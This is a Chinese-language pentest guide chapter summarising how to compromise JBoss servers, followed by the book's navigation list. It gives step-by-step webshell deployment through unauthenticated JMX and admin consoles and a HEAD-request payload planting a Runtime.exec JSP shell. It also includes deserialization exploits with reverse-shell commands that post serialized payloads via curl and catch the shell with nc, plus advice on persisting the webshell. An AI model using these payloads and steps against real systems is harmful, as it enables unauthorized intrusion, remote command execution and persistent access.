# Jboss漏洞利用總結
## 一、[4x及以前]漏洞匯總
[TOC]
### 0、控制臺相關信息
jboss4.x 及其之前的版本,console管理路徑為`/jmx-console/ 和 /web-console/` 。
```sh
#jmx-console 和 web-console共用一個賬號密碼 ,賬號密碼文件在
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
#jmx-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#web-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
#web-console的配置文件為
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
```
### 1、JMX Console未授權訪問Getshell
**漏洞描述**
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路徑對外開放,并且沒有任何身份驗證機制,導致攻擊者可以進?到jmx控制臺,并在其中執?任何功能。
**影響版本**
Jboss4.x以下
**漏洞利?**
Jboxx4.x的/jmx-console/ 后臺存在未授權訪問,進入后臺后,可直接部署 war 包Getshell。若需登錄,可以嘗試爆破弱口令登錄。
步驟:
1. 點擊jboss后臺的【jboss management】選項中的【jmx console】
2. 然后找到【jboss.deployment】(jboss 自帶的部署功能)
點擊啟動中的`flavor=URL,type=DeploymentScanner`進去(通過 url 的方式遠程部署)
3. 也可以直接輸入URL全路徑進入
http://xx.xx.xx.xx:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
4. 找到頁面中的`void addURL()`選項來遠程加載包含馬兒的war包來部署。
5. 查看部署是否成功
返回到剛進入jmx-console的頁面,找到 jboss.web.deployment,多刷新幾次頁面或者等會兒,直到看到有部署的war包即可
6. 訪問我們的木馬
http://xx.xx.xx.xx:8080/test/test.jsp?pwd=123&cmd=ls
**權限鞏固**
```
#通常像上面這樣部署的webshell,物理路徑默認都會在以下目錄下
\jboss-4.2.3.GA\server\default\tmp\deploy\xxx.war
#這個目錄只能臨時用,還需要把shell轉移到jmx-console的默認目錄來鞏固權限
\jboss-4.2.3.GA\server\default\deploy\jmx-console.war
```
### 2、JMX Console HtmlAdaptor Getshell(CVE-2007-1036)
**漏洞描述**
原因同上一個,但該漏洞利?的是后臺中【jboss.admin】 -> 【DeploymentFileRepository 】-> 【store()】?法,通過向四個參數傳?信息,達到上傳shell的?的,其中arg0傳?的是部署的war包名字,arg1傳?的是上傳的?件的?件名,arg2傳?的是上傳?件的?件格式,arg3傳?的是上傳?件中的內容。通過控制這四個參數即可上傳shell,控制整臺服務器。
**影響版本**
Jboss4.x以下
**漏洞利用**
輸?url:
http://目標IP:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
定位到store?法,通過向四個參數傳入信息,達到上傳shell的目
```
arg1傳入的是部署的war包名字,如shell.war
arg2傳入的是上傳的文件的文件名,如shell
arg3傳入的是上傳文件的文件格式,如jsp
arg4傳入的是上傳文件中的內容,
通過控制這四個參數即可上傳shell,控制整臺服務器。
```
> 后面的CVE-2010-0738和CVE-2006-5750漏洞也存在這一特性。
### 3、JMX控制臺安全驗證繞過漏洞(CVE-2010-0738)
**漏洞描述**
該漏洞利??法跟CVE-2007-1036?樣,只是繞過了get和post傳輸限制,利? head傳輸?式發送payload
**影響版本**
jboss4.2.0、jboss 4.3.0
**漏洞利?**
利?head傳輸?式,payload如下:
```http
HEAD /jmx-console/HtmlAdaptor?
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIn
dex=6&arg0=../jmx-console.war/&arg1=hax0rwin&arg2=.jsp&arg3=
<%Runtime.getRuntime().exec(request.getParameter("i"));%>&arg4=True
HTTP/1.1
Host: hostx:portx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.9)
Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
```
### 4、CVE-2006-5750
此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區別是CVE-2006-5750漏洞利用【methodIndex】進行【store()】方法的調用。其中methodIndex是通過方法的編號進行調用。
### 5、JBOSS MQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
**漏洞描述**
JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java?件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利?該漏洞執?任意代碼。
**影響版本**
JBoss AS 4.x及之前版本
**漏洞利用**
1. 首先驗證目標jboss是否存在此漏洞,直接訪問
/jbossmq-httpil/HTTPServerILServlet?路徑下。若訪問200,則可能存在漏洞。
2. 使用JavaDeserH2HC工具來利用該漏洞,嘗試直接彈回一個shell
```sh
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 反彈的IP:端口
curl http://目標IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ReverseShellCommonsCollectionsHashMap.ser
```
3. vps使用nc監聽端口,`nc -lvp 4444
成功反彈shell
## 二、[5x-6x]漏洞匯總
### 1、Jboss5.x/6.x控制臺
Jboss5.x開始棄用了 web-console ,增加了admin-console。jboss5.x / 6.x 版本 console 路徑為 /jmx-console/ 和 /admin-console/。
```cmd
#jmx-console 和 web-console 共用一個賬號密碼 ,賬號密碼文件在
jboss/server/default/conf/props/jmx-console-users.properties
#jmx-console的配置文件為
jboss/common/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#admin-console的配置文件為
jboss/common/deploy/admin-console.war/WEB-INF/jboss-web.xml
```
### 2、Jboss 5.x/6.x admin-Console后臺部署war包Getshell
Jboss5.X開始,jmx-console不能部署war包了,需要admin-console后臺部署
1. 登錄進admin-console后臺后,
2. 點擊Web Application(WAR)s
3. 然后Add a new resource
4. 這里選擇我們本地生成好的war包
5. 上傳后訪問我們的馬
http://xx.xx.xx.xx:8080/test/test.jsp?pwd=123&cmd=ls
### 3、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
經典的 JBoss 反序列化漏洞,JBoss在 /invoker/JMXInvokerServlet 請求中讀取了用戶傳入的對象
然后我們可以利用 Apache Commons Collections 中的 Gadget 執行任意代碼。
由于JBoss中invoker/JMXInvokerServlet路徑對外開放,JBoss的jmx組件?持Java反序列化
**影響版本**
實際上主要集中在 jboss 6.x 版本上:
```
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
```
**漏洞探測**
此漏洞存在于JBoss中?/invoker/JMXInvokerServlet?路徑。訪問若提示下載 JMXInvokerServlet,則可能存在漏洞。
1. 先啟動靶機環境,訪問:http://yourip:8080/
2. 使用JavaDeserH2HC 生成反彈 shell 的 payload
```sh
#進行文件編譯
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
#生成載荷的序列化文件xx.ser(反彈shell到我們的vps)
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 公網vps的ip:端口號
#利用curl提交我們的ser文件
curl http://目標IP:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
```
3. vps使用nc監聽端口,`nc -lvp 4444`
4. 成功反彈
### 4、JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
此漏洞和CVE-2015-7501漏洞原理相同
**影響版本**
實際上主要集中在 jboss 6.x 版本上:
```
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
```
**漏洞利用**
跟CVE-2015-7501利??法?樣,只是路徑不?樣,這個漏洞利?路徑是?/invoker/EJBInvokerServlet
### 5、JBoss 5.x/6.x CVE-2017-12149 反序列化漏洞
**漏洞描述**
該漏洞為 Java反序列化錯誤類型,存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數據流進行反序列化,從而導致了漏洞。
該漏洞出現在**/invoker/readonly**請求中,服務器將用戶提交的POST內容進行了Java反序列化,導致傳入的攜帶惡意代碼的序列化數據執行。
**影響版本**
JbossAS 5.x
JbossAS 6.x
**漏洞驗證POC**
http://目標:8080/invoker/readonly,如果出現報 500 錯誤,則說明目標機器可能存在此漏洞
**漏洞利用現成工具**
可以直接使用工具`cve-2017-12149 jboss反序列化`工具,填入目標地址和cmd即可
也可以借助JavaDeserH2HC來完成整個利用過程
```sh
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap vps的ip:端口
然后嘗試利用curl發送payload到目標機器上執行后,發現vps已成功接彈回的shell
curl http://www.target.net/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
# 然后監聽端口
nc -lvp 4444
```
參考文獻:
https://blog.csdn.net/qq\_36119192/article/details/103899123
https://www.freebuf.com/articles/web/240174.html
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具